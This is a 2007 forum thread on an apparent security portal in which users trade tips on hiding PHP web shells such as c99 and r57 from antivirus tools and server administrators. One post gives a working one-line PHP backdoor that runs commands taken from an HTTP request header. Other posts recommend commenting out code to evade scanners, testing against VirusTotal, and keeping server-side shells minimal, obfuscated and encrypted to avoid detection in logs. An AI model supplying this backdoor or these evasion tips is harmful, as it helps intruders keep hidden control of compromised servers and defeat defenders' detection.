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IT Security and Insecurity Portal |
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Make c99 or r57 less detectable by antivir programs! |
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 Posted: Sun Jun 24, 2007 6:46 pm |
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| 7777777 |
| Regular user |
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| Joined: Jun 24, 2007 |
| Posts: 8 |
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Hi! this is a fast tip:
Edit the first lines of your php shell like comentaries and some antivir wont detect them! you can try www.virustotal.com to test.
Regards. |
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| Posted: Mon Jun 25, 2007 5:48 am |
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| 7777777 |
| Regular user |
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| Joined: Jun 24, 2007 |
| Posts: 8 |
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So... what shell dou you use then? r57??  |
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| Posted: Mon Jun 25, 2007 6:36 am |
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| pexli |
| Valuable expert |
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| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
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In most cases
| Code: | | <?php passthru(getenv("HTTP_ACCEPT_LANGUAGE"));?> |
Very easy to hide shell like this.r57 and c99 is too big to hide. |
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| Posted: Mon Jun 25, 2007 2:09 pm |
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| barr0w |
| Regular user |
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| Joined: May 30, 2007 |
| Posts: 13 |
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| I hear that c99 sucks a lot, but what is a better alternative? I have yet to find something better that has an interface in English. |
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| Posted: Mon Jun 25, 2007 5:16 pm |
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| pexli |
| Valuable expert |
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| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
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| If one shell have interface she is too big to hide on server.Admin find him and look error.log and your hole will be locked. |
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| Posted: Mon Jun 25, 2007 5:23 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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Yep, agree with koko. Best shell is, where server-side is minimalistic - only 1-2 lines of code, maybe even somehow obfuscated. And all the nice functionality, which makes this php shell to be userfriendly, is implemented on USER side! Even better - all communications can be encrypted, if serverside and userside scripts are using encryption.
Thats my two cents  |
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